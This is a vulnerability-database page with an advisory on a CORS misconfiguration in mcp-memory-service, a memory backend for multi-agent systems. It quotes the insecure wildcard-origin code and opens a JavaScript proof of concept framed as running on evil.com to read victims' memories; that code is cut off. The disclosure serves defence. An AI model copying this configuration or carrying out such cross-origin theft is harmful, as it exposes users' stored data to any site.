Most recent entries from all

EUVD-2026-276797

fkie_cve-2026-33010

mcp-memory-service is an open-source memory backend for multi-agent systems. Prior to version 10.25.1, when the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories. This issue has been patched in version 10.25.1.

GHSA-g9rg-8vq5-mpwm — mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft

Affected: PyPI: mcp-memory-service

### Summary When the HTTP server is enabled (`MCP_HTTP_ENABLED=true`), the application configures FastAPI's CORSMiddleware with `allow_origins=['*']`, `allow_credentials=True`, `allow_methods=["*"]`, and `allow_headers=["*"]`. The wildcard `Access-Control-Allow-Origin: *` header permits any website to read API responses cross-origin. When combined with anonymous access (`MCP_ALLOW_ANONYMOUS_ACCESS=true`) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.

### Details ### Vulnerable Code

**`config.py:546` - Wildcard CORS origin default**

```python CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',') ```

This produces `['*']` by default, allowing any origin.

**`app.py:274-280` - CORSMiddleware configuration**

```python # CORS middleware app.add_middleware( CORSMiddleware, allow_origins=CORS_ORIGINS, # ['*'] by default allow_credentials=True, # Unnecessary for anonymous access; bad practice allow_methods=["*"], allow_headers=["*"], ) ```

### How the Attack Works

The wildcard CORS default means every API response includes `Access-Control-Allow-Origin: *`. This tells browsers to allow **any website** to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:

```javascript // Running on https://evil.com - reads victim's memories // No crede…

PYSEC-2026-2625 — mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft